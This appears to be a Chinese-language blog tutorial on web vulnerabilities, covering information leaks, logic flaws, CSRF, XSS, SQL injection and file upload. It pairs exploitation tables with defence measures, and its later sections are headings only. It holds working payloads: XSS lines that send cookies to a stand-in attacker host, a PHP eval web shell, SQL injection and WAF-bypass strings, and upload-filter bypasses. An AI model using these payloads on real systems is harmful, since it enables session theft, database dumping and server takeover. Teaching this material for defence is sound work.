一、漏洞难度排序说明(从易到难)
先明确漏洞的难度梯度,帮你规划学习顺序:
| 难度层级 | 漏洞类型 | 核心特点 | 学习目标 |
|---|---|---|---|
| 入门级 | 1.敏感信息泄露 2.逻辑漏洞 | 原理直观,无需复杂Payload,利用步骤≤3步 | 能识别漏洞场景,完成基础利用 |
| 基础级 | 3.CSRF 4.XSS | 需构造简单Payload,理解“前端/后端交互逻辑” | 能手动构造Payload,绕过基础防御 |
| 进阶级 | 5.SQL注入 6.文件上传 | 需理解“后端处理逻辑”,构造多步Payload | 能应对中间件/代码层防御,实现脱库/传马 |
| 精通级 | 7.文件包含 8.命令注入 9.SSRF | 需掌握“路径/协议特性”,利用系统级缺陷 | 能利用协议/配置漏洞,实现内网探测 |
| 专家级 | 10.XXE 11.反序列化 | 需理解“数据格式解析逻辑”,构造复杂Payload | 能分析序列化结构,绕过序列化防护 |
二、入门级漏洞(原理直观,1小时上手)
1. 敏感信息泄露(Sensitive Data Exposure,OWASP Top 4)
(1)基础认知
- 是什么:后端未对“账号密码、身份证号、配置信息”等敏感数据加密/脱敏,直接明文传输或存储,攻击者可直接获取。
- 难度评级:★☆☆☆☆(原理最直观,利用只需“查看”)
- 常见场景:HTTP明文传密码、Cookie存明文、配置文件泄露(
/config.php)、日志文件泄露(/log/access.log)。
(2)原理拆解(配图示)
核心问题是“无加密/脱敏处理”,以“登录密码传输”为例:
对比安全传输(HTTPS加密):
(3)利用实战(从基础到精通)
| 级别 | 利用场景 | 操作步骤 | 工具需求 |
|---|---|---|---|
| 基础版 | HTTP登录明文传输 | 1. 打开Burp Suite抓包; 2. 输入账号密码登录; 3. 在“Raw”标签查看 password=123456 | Burp Suite |
| 进阶版 | 配置文件泄露 | 1. 猜测路径:http://目标IP/db_config.php(数据库配置);2. 访问后查看“数据库账号=root,密码=123456” | 浏览器 |
| 精通版 | 日志文件泄露(含Cookie) | 1. 访问http://目标IP/var/log/apache2/access.log;2. 搜索“Cookie”关键词,获取登录用户的Cookie | 浏览器+文本搜索 |
(4)防御体系(从基础到企业级)
| 防御级别 | 措施 | 适用场景 |
|---|---|---|
| 基础防御 | 1. 启用HTTPS(所有传输加密); 2. Cookie加 HttpOnly属性(禁止JS读取) | 所有Web系统,小白必做 |
| 进阶防御 | 1. 敏感数据脱敏(如手机号显示138****8888);2. 日志文件存非Web目录 | 含用户隐私数据的系统(电商、社交) |
| 企业级防御 | 1. 密码用BCrypt哈希存储(不用MD5,防彩虹表破解); 2. 配置文件加密(如 config.php加密后解析) | 金融、政务等高安全需求系统 |
(5)常见误区
- ❌ 认为“内网系统不用加密”:内网攻击者更易抓包,需同样启用HTTPS;
- ❌ 日志文件直接放Web目录:需修改日志存储路径(如
/var/log/而非/var/www/log/)。
2. 逻辑漏洞(Business Logic Flaws,高频高危)
(1)基础认知
- 是什么:后端“业务规则设计缺陷”,攻击者利用规则漏洞越权或获利(如“密码重置不验证验证码”“订单金额可篡改”)。
- 难度评级:★★☆☆☆(原理直观,但需理解业务流程)
- 常见场景:密码重置、订单支付、登录验证码、会员等级升级。
(2)原理拆解(配图示:密码重置逻辑缺陷)
正常逻辑:用户→收验证码→输入验证码→重置密码;
漏洞逻辑:跳过“输入验证码验证”步骤,直接提交新密码:
(3)利用实战(从基础到精通)
| 级别 | 利用场景 | 操作步骤 | 工具需求 |
|---|---|---|---|
| 基础版 | 订单金额篡改 | 1. 下单(商品金额99元); 2. Burp抓包,改 price=99为price=0.01;3. 提交支付,按0.01元付款 | Burp Suite |
| 进阶版 | 密码重置不验证验证码 | 1. 抓包“发送验证码”请求(记录phone=13800138000);2. 抓包“提交新密码”请求,删除 code=123456参数;3. 提交新密码,重置成功 | Burp Suite(修改参数) |
| 精通版 | 验证码重复使用 | 1. 获取验证码1234(有效期10分钟);2. 用该验证码重置10个不同手机号(后端未绑定“验证码-手机号”) | Burp Suite(批量请求) |
(4)防御体系(从基础到企业级)
| 防御级别 | 措施 | 适用场景 |
|---|---|---|
| 基础防御 | 1. 关键参数后端校验(订单金额从数据库获取,不依赖前端传值); 2. 验证码绑定手机号(一个验证码仅对应一个手机号) | 电商、支付系统 |
| 进阶防御 | 1. 重要操作加二次验证(改密码需输入原密码,转账需人脸识别); 2. 操作频率限制(验证码1分钟内最多发送3次) | 金融、政务系统 |
| 企业级防御 | 1. 业务逻辑评审(开发前梳理“密码重置、支付”等核心流程,找漏洞); 2. 异常行为监控(如同一IP重置10个手机号,触发告警) | 高安全需求系统 |
(5)常见误区
- ❌ 认为“前端做了验证就够了”:前端验证可被绕过(如Burp改参数),必须后端重复验证;
- ❌ 忽略“低频异常行为”:如“普通用户1天内重置10次密码”,需加监控告警。
三、基础级漏洞(需构造Payload,半天掌握)
3. 跨站请求伪造(CSRF,OWASP Top 10)
(1)基础认知
- 是什么:攻击者诱导“已登录用户”点击恶意链接/访问恶意页面,触发“用户本意之外的请求”(如改密码、删数据),后端未验证请求来源。
- 难度评级:★★☆☆☆(需理解“登录状态”和“请求伪造”)
- 核心前提:用户已登录目标系统(Cookie未过期)。
(2)原理拆解(配图示:CSRF改密码)
(3)利用实战(从基础到精通)
| 级别 | 利用场景 | 操作步骤 | 工具需求 |
|---|---|---|---|
| 基础版 | GET型CSRF(改个人签名) | 1. 抓包正常改签名请求:http://目标IP/change_sign?sign=test;2. 构造恶意链接: http://目标IP/change_sign?sign=hacker;3. 诱导已登录用户点击 | 浏览器 |
| 进阶版 | POST型CSRF(改密码) | 1. 抓包POST请求(参数new_pwd=hacker123);2. 构造恶意HTML(自动提交POST请求); 3. 诱导用户访问该HTML页面 | 记事本+浏览器 |
| 精通版 | 结合XSS的CSRF(自动触发) | 1. 在目标系统评论区插入XSS代码:<script>fetch("http://目标IP/change_pwd", {method: "POST", body: "new_pwd=hacker123"})</script>;2. 用户访问评论区,自动触发CSRF | Burp Suite(提交XSS) |
(4)防御体系(从基础到企业级)
| 防御级别 | 措施 | 适用场景 |
|---|---|---|
| 基础防御 | 1. 加CSRF Token(表单中加<input type="hidden" name="token=随机值">,后端验证Token);2. 验证Referer(仅允许来自目标域名的请求) | 所有Web系统,必做防御 |
| 进阶防御 | 1. 重要操作加二次验证(如改密码需输入原密码); 2. Token定期刷新(每30分钟换一次Token) | 支付、后台管理系统 |
| 企业级防御 | 1. 用SameSite Cookie(限制Cookie仅在同站请求中携带,阻止跨站请求携带Cookie); 2. 异常请求监控(如同一IP短时间发起10次改密码请求) | 高安全需求系统 |
(5)常见误区
- ❌ 认为“HTTPS能防御CSRF”:HTTPS仅加密传输,无法验证请求来源,仍需CSRF Token;
- ❌ Token直接写死在页面:Token需每个用户/每次请求不同(如从Session中获取)。
4. 跨站脚本(XSS,OWASP Top 3)
(1)基础认知
- 是什么:用户输入的“恶意JS代码”被后端“原样输出”到页面,浏览器执行JS,窃取Cookie、冒充用户操作。
- 难度评级:★★★☆☆(分3类,从易到难:反射型→存储型→DOM型)
- 核心危害:窃取登录Cookie、伪造用户操作、钓鱼诈骗。
(2)原理拆解(配图示:存储型XSS)
A[攻击者在评论区输入] -->|内容:<script>alert(document.cookie)</script>| B[后端]
B -->|未过滤,原样存入数据库| C[数据库]
D[其他用户访问评论区] -->|后端从数据库读取评论| E[后端]
E -->|原样输出JS代码到页面| F[用户浏览器]
F -->|执行JS,弹出用户Cookie| G[攻击者获取Cookie,冒充用户]
(3)利用实战(从基础到精通)
| XSS类型 | 级别 | 操作步骤 | 工具需求 |
|---|---|---|---|
| 反射型 | 基础版 | 1. 目标搜索框输入:<script>alert(1)</script>;2. 点击搜索,页面弹出1,说明存在漏洞 | 浏览器 |
| 反射型 | 进阶版 | 1. 构造URL:http://目标IP/search?keyword=<script>window.location.href='http://攻击机IP/steal?cookie='+document.cookie</script>;2. 诱导用户点击,窃取Cookie | 攻击机(搭Web服务存Cookie) |
| 存储型 | 精通版 | 1. 在论坛发帖:<img src=x onerror=fetch("http://攻击机IP/steal?cookie="+document.cookie)> (用img onerror触发JS,避免<script>被过滤);2. 所有访问该帖子的用户,Cookie被窃取 | 攻击机+论坛账号 |
| DOM型 | 专家版 | 1. 分析前端JS:var keyword = location.hash.substr(1); document.getElementById("content").innerHTML = keyword;;2. 构造URL: http://目标IP/#<script>alert(1)</script>;3. 访问后执行JS | 浏览器 |
(4)防御体系(从基础到企业级)
| 防御级别 | 措施 | 适用场景 |
|---|---|---|
| 基础防御 | 1. 输出编码(把<转<、>转>,JS代码不执行);2. 禁用 <script>标签(前端过滤,辅助防御) | 所有Web系统,小白必做 |
| 进阶防御 | 1. 用CSP(Content-Security-Policy,限制页面仅加载信任的JS资源,如script-src 'self');2. 过滤危险事件(如 onclick、onerror) | 含用户输入的系统(论坛、评论) |
| 企业级防御 | 1. 用XSS过滤器(如Java的OWASP Java Encoder、PHP的htmlspecialchars函数); 2. 实时监控(如用户输入含 <script>,触发告警) | 金融、政务系统 |
(5)常见误区
- ❌ 认为“过滤
<script>就够了”:XSS可通过img onerror、a href=javascript:xxx触发,需过滤危险标签和事件; - ❌ DOM型XSS只防后端:DOM型XSS由前端JS触发,需前端也做编码(如
document.getElementById("content").textContent = keyword,不用innerHTML)。
四、进阶级漏洞(需理解后端逻辑,1天掌握)
5. SQL注入(SQL Injection,OWASP Top 1)
(1)基础认知
- 是什么:用户输入的内容被“直接拼接到后端SQL语句中”,改变SQL原本逻辑(如“查询单个用户”变成“查询所有用户密码”)。
- 难度评级:★★★★☆(核心漏洞,需理解SQL语法和后端拼接逻辑)
- 常见场景:URL参数(
?id=1)、登录框(用户名/密码)、搜索框。
(2)原理拆解(配图示:登录框SQL注入)
正常登录SQL:SELECT * FROM user WHERE username='admin' AND password='123456';
注入后SQL:SELECT * FROM user WHERE username='admin' OR '1'='1' -- ' AND password='xxx'(条件永远为真,直接登录)。
(3)利用实战(从基础到精通)
| 级别 | 利用场景 | 操作步骤 | 工具需求 |
|---|---|---|---|
| 基础版 | 联合查询注入(脱库) | 1. 判断字段数:?id=1 order by 5 --+(直到报错,确定字段数为4);2. 脱库: ?id=1 union select 1,database(),user(),4 --+(获取当前数据库名、MySQL用户) | 浏览器+Burp |
| 进阶版 | 布尔盲注(无报错信息) | 1. 判断数据库名长度:?id=1 and length(database())>5 --+(页面正常→长度>5);2. 猜数据库名: ?id=1 and substr(database(),1,1)='t' --+(页面正常→首字母为t) | 浏览器+手动测试 |
| 精通版 | 堆叠注入(执行多SQL) | 1. 构造Payload:?id=1; update user set password='e10adc3949ba59abbe56e057f20f883e0' where username='admin' --+;2. 执行后,admin密码被改为123456 | Burp Suite(提交Payload) |
| 专家版 | 绕过WAF(关键词过滤) | 1. 替换关键词:UNION→UnIoN(大小写绕过)、SELECT→SEL/**/ECT(注释绕过);2. 构造Payload: ?id=1 UnIoN SEL/**/ECT 1,database(),3 --+ | Burp Suite(测试绕过) |
(4)防御体系(从基础到企业级)
| 防御级别 | 措施 | 适用场景 |
|---|---|---|
| 基础防御 | 1. 参数化查询(PreparedStatement,把用户输入当参数,不直接拼SQL); 2. 输入过滤(过滤 '、union、or等特殊字符) | 所有使用SQL的系统,必做防御 |
| 进阶防御 | 1. 最小权限(MySQL用户只给SELECT权限,不给UPDATE/DROP权限);2. 用ORM框架(如MyBatis、Hibernate,自动防注入) | 开发型系统 |
| 企业级防御 | 1. WAF(Web应用防火墙,如阿里云WAF,拦截注入Payload); 2. SQL审计(记录所有SQL执行语句,异常注入触发告警) | 金融、电商等高流量系统 |
(5)常见误区
- ❌ 认为“数字型注入不用过滤单引号”:数字型注入(
?id=1 and 1=1)虽不用单引号,但需参数化查询; - ❌ 依赖前端过滤:前端过滤可被Burp绕过,必须后端过滤+参数化查询。
6. 文件上传漏洞(高频高危)
(1)基础认知
- 是什么:后端未对“上传文件的后缀/类型/内容”做严格验证,攻击者上传“PHP/JSP后门文件”,执行恶意代码控制服务器。
- 难度评级:★★★★☆(需理解“文件验证逻辑”和“中间件解析规则”)
- 核心危害:上传后门后,可执行任意命令(如删文件、读数据库)。
(2)原理拆解(配图示:文件上传绕过)
正常验证:只允许上传jpg/png,拒绝php;
漏洞验证:后端仅验证“文件名后缀”,攻击者改后缀为php5(部分Apache支持解析为PHP)。
A[攻击者准备后门文件] -->|文件:backdoor.php(内容:<?php @eval($_POST['cmd']); ?>)| B[改后缀为backdoor.php5]
B -->|前端验证通过(认为是合法后缀)| C[Burp抓包,确认后缀为php5]
C -->|后端仅验证后缀,允许上传| D[文件保存到:http://目标IP/upload/backdoor.php5]
D -->|Apache解析php5为PHP,执行后门| E[攻击者用蚁剑连接,控制服务器]
(3)利用实战(从基础到精通)
| 级别 | 利用场景 | 操作步骤 | 工具需求 |
|---|---|---|---|
| 基础版 | 前端验证绕过(改后缀) | 1. 准备backdoor.php,改名为backdoor.jpg;2. 上传时Burp抓包,改 filename=backdoor.jpg为filename=backdoor.php;3. 访问 http://目标IP/upload/backdoor.php,确认可访问 | Burp Suite+蚁剑 |
| 进阶版 | 后端后缀黑名单绕过 | 1. 尝试后缀:php5、phtml、php.bak(部分服务器支持);2. 上传 backdoor.php5,访问后用蚁剑连接(密码:cmd) | Burp Suite+蚁剑 |
| 精通版 | 文件头验证绕过(加图片头) | 1. 用Notepad打开backdoor.php,开头加图片头:FF D8 FF(JPG文件头);2. 改名为 backdoor.jpg,上传;3. Burp抓包改后缀为 backdoor.php,后端验证文件头通过 | Burp Suite+Notepad |
| 专家版 | 中间件解析漏洞(IIS 6.0) | 1. 上传backdoor.asp;.jpg(IIS 6.0会忽略;.jpg,解析为asp);2. 访问 http://目标IP/upload/backdoor.asp;.jpg,执行后门 | Burp Suite+蚁剑 |
(4)防御体系(从基础到企业级)
| 防御级别 | 措施 | 适用场景 |
|---|---|---|
| 基础防御 | 1. 后端验证文件头(如JPG验证FF D8 FF,不依赖后缀);2. 重命名文件(用随机名如 a1b2c3.jpg,避免攻击者猜路径) | 所有含文件上传的系统 |
| 进阶防御 | 1. 上传目录设为“不可执行”(如Nginx配置location /upload { deny all; });2. 禁止上传目录的PHP解析(Apache配置 php_flag engine off) | 电商、论坛等需上传图片的系统 |
| 企业级防御 | 1. 用第三方存储(如阿里云OSS,不上传到Web服务器); 2. 文件内容扫描(如用ClamAV查杀恶意代码) | 金融、政务系统 |
(5)常见误区
- ❌ 认为“改后缀为.jpg就安全”:攻击者可通过抓包改回.php,必须后端验证;
- ❌ 上传目录允许执行PHP:需明确配置“上传目录不可执行”,即使上传PHP也无法执行。
五、精通级漏洞(需系统级知识,2天掌握)
7. 文件包含漏洞(File Inclusion,高危)
8. 命令注入(Command Injection,高危)
9. 服务器端请求伪造(SSRF,高危)
六、专家级漏洞(需解析逻辑,3天掌握)
10. XML外部实体(XXE,OWASP Top 6)
11. 不安全的反序列化(Insecure Deserialization,OWASP Top 5)
七、总结:从基础到精通的学习路径
- 入门阶段(1周):掌握“敏感信息泄露、逻辑漏洞”,能识别漏洞场景,完成基础利用;
- 基础阶段(2周):攻克“CSRF、XSS”,能手动构造Payload,绕过基础防御;
- 进阶阶段(1个月):精通“SQL注入、文件上传”,能应对中间件防御,实现脱库/传马;
- 精通阶段(2个月):掌握“文件包含、命令注入、SSRF”,能利用系统/协议漏洞;
- 专家阶段(3个月):突破“XXE、反序列化”,能分析数据解析逻辑,构造复杂Payload。
3万+

被折叠的 条评论
为什么被折叠?



